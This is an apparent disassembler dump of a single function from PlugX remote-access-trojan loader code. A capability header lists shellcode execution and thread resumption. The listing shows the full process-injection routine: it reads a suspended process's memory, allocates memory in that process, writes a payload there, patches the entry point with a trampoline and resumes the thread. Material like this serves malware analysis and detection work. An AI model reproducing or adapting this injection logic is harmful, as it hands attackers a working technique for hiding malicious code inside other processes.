Function at 0x1000c8b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header
Resume thread

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1070
call fcn.10027d10
push ebx
mov eax, edx
mov dword [ebp - 0x34], eax
push esi
push edi
mov edi, ecx
test eax, eax
jne 0x1000c8de
push edx
mov edx, 0xf8
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlgLoader.cpp
call fcn.10024152
add esp, 4
mov esi, dword [0x1002d3c8]
test esi, esi
jne 0x1000c943
push 0x18
call fcn.1002422e
mov esi, eax
add esp, 4
test esi, esi
je 0x1000c93b
push 0
push 0
push 1
push 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x10], 0
mov dword [esi + 8], 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [esi], eax
test eax, eax
jne 0x1000c93d
push eax
lea edx, [eax + 8]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
jmp 0x1000c93d
xor esi, esi
mov dword [0x1002d3c8], esi
mov ecx, dword [esi + 4]
mov dword [ebp - 0x30], ecx
cmp dword [ecx], 0x504c5547
je 0x1000c971
push 0xd
mov edx, 0x100
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlgLoader.cpp
call fcn.10024152
add esp, 4
mov eax, 0xd
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 0xc]
xor edx, edx
mov dword [ebp - 0x48], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x44], eax
mov eax, dword [ecx + 0x14]
mov dword [ebp - 0x40], eax
mov eax, dword [ecx + 0x18]
lea ecx, [ebp - 0x6c]
push 0x1c
mov dword [ebp - 0x3c], eax
call fcn.100242ad
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
add esp, 4
nop dword [eax]
mov esi, dword [ebp - 0x60]
add esi, dword [ebp - 0x6c]
cmp esi, 0x80000000
jae 0x1000cdaa
push 0x1c
lea eax, [ebp - 0x6c]
push eax
push esi
push edi
call ebx
test eax, eax
je 0x1000cda3
cmp dword [ebp - 0x5c], 0x1000
jne 0x1000c9b0
cmp dword [ebp - 0x54], 0x1000000
jne 0x1000c9b0
lea eax, [ebp - 0x38]
push eax
push 0x1000
lea eax, [ebp - 0x106c]
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x1000cd9c
mov eax, 0x5a4d
cmp ax, word [ebp - 0x106c]
jne 0x1000c9b0
mov eax, dword [ebp - 0x1030]
cmp dword [ebp + eax - 0x106c], 0x4550
lea eax, [ebp + eax - 0x106c]
jne 0x1000c9b0
mov eax, dword [eax + 0x28]
push 0x40
push 0x1000
push 0x1000
add eax, esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
push edi
mov dword [ebp - 0x14], eax
call esi
push 4
push 0x1000
push 0x18
push 0
push edi
mov dword [ebp - 8], eax
call esi
push 4
push 0x1000
push dword [ebp - 0x44]
mov ebx, eax
push 0
push edi
call esi
push 4
push 0x1000
push dword [ebp - 0x3c]
mov dword [ebp - 0x18], eax
push 0
push edi
call esi
mov edx, dword [ebp - 8]
mov ecx, eax
mov dword [ebp - 0x1c], ecx
test edx, edx
je 0x1000cd07
test ebx, ebx
je 0x1000cd07
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x1000cd07
test ecx, ecx
je 0x1000cd07
mov dword [ebp - 0x48], eax
mov eax, 0x1000cde0
mov dword [ebp - 0x40], ecx
cmp byte [eax], 0xe9
jne 0x1000cac7
mov eax, 0x1000cde0
add eax, dword [eax + 1]
add eax, 5
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea ecx, [ebp - 0xc]
push ecx
push 0x1000
push eax
push edx
push edi
call esi
test eax, eax
jne 0x1000cb5d
mov edx, 0x130
push 0
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlgLoader.cpp
call fcn.10024152
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov eax, dword [ebp - 8]
push 0x8000
push 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test eax, eax
jne 0x1000cb24
push eax
mov edx, 0x18c
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlgLoader.cpp
call fcn.10024152
add esp, 4
test ebx, ebx
je 0x1000cd33
push 0x8000
push 0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push edi
call ebx
test eax, eax
jne 0x1000cd39
push eax
mov edx, 0x194
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlgLoader.cpp
call fcn.10024152
add esp, 4
jmp 0x1000cd39
lea eax, [ebp - 0xc]
push eax
push 0x18
lea eax, [ebp - 0x50]
push eax
push ebx
push edi
call esi
test eax, eax
jne 0x1000cb79
mov edx, 0x135
jmp 0x1000cae4
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 0x10]
mov eax, dword [ebp - 0x18]
push dword [ebp + 0xc]
push eax
push edi
call esi
test eax, eax
jne 0x1000cb98
mov edx, 0x13a
jmp 0x1000cae4
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x30]
push dword [eax + 0x18]
push dword [eax + 0x14]
push dword [ebp - 0x1c]
push edi
call esi
test eax, eax
jne 0x1000cbb9
mov edx, 0x13f
jmp 0x1000cae4
mov edx, dword [ebp - 0x14]
mov eax, ebx
mov ecx, dword [ebp - 8]
shr eax, 8
sub ecx, edx
mov byte [ebp - 0x2a], al
sub ecx, 0xa
mov eax, ebx
mov dword [ebp - 0x10], ecx
shr eax, 0x10
mov byte [ebp - 0x29], al
mov eax, ebx
shr eax, 0x18
mov byte [ebp - 0x28], al
mov eax, ecx
shr eax, 8
mov byte [ebp - 0x25], al
mov eax, ecx
shr eax, 0x10
mov byte [ebp - 0x24], al
lea eax, [ebp - 0x10]
push eax
push 0x40
push 0x10
mov byte [ebp - 0x26], cl
push edx
shr ecx, 0x18
push edi
mov byte [ebp - 0x2c], 0x68
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x27], 0xe8
mov byte [ebp - 0x23], cl
mov byte [ebp - 0x22], 0xc3
mov dword [ebp - 0xc], 0xb
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x1000cc2c
mov edx, 0x156
jmp 0x1000cae4
lea eax, [ebp - 0xc]
push eax
push 0x10
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0x14]
push edi
call esi
test eax, eax
jne 0x1000cc4a
mov edx, 0x15b
jmp 0x1000cae4
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x10]
push 0x10
push dword [ebp - 0x14]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x1000cc6b
mov edx, 0x160
jmp 0x1000cae4
mov esi, dword [ebp - 0x34]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
test eax, eax
jne 0x1000cc83
mov edx, 0x165
jmp 0x1000cae4
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x1000cca4
push 0
mov edx, 0x16a
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlgLoader.cpp
call fcn.10024152
add esp, 4
lea eax, [ebp - 0xc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
jne 0x1000ccd0
push eax
mov edx, 0x174
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlgLoader.cpp
call fcn.10024152
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x1000ccd3
mov esi, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
mov dword [eax], esi
cmp esi, 0x10000
jl 0x1000cce7
xor esi, esi
jmp 0x1000cafb
test esi, esi
je 0x1000cafb
push esi
mov edx, 0x183
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlgLoader.cpp
call fcn.10024152
add esp, 4
jmp 0x1000cafb
push 0
mov edx, 0x121
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlgLoader.cpp
call fcn.10024152
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov eax, dword [ebp - 8]
test eax, eax
je 0x1000cb24
jmp 0x1000cafe
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x1000cd66
test esi, esi
je 0x1000cd66
push 0x8000
push 0
push eax
push edi
call ebx
test eax, eax
jne 0x1000cd66
push eax
mov edx, 0x19c
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlgLoader.cpp
call fcn.10024152
add esp, 4
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x1000cd93
test esi, esi
je 0x1000cd93
push 0x8000
push 0
push eax
push edi
call ebx
test eax, eax
jne 0x1000cd93
push eax
mov edx, 0x1a4
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlgLoader.cpp
call fcn.10024152
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, 0x457
jmp 0x1000cdaf
mov edx, 0x444
jmp 0x1000cdaf
mov edx, 0x43f
push 0
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlgLoader.cpp
call fcn.10024152
push 0x490
mov edx, 0x112
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlgLoader.cpp
call fcn.10024152
add esp, 8
mov eax, 0x490
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret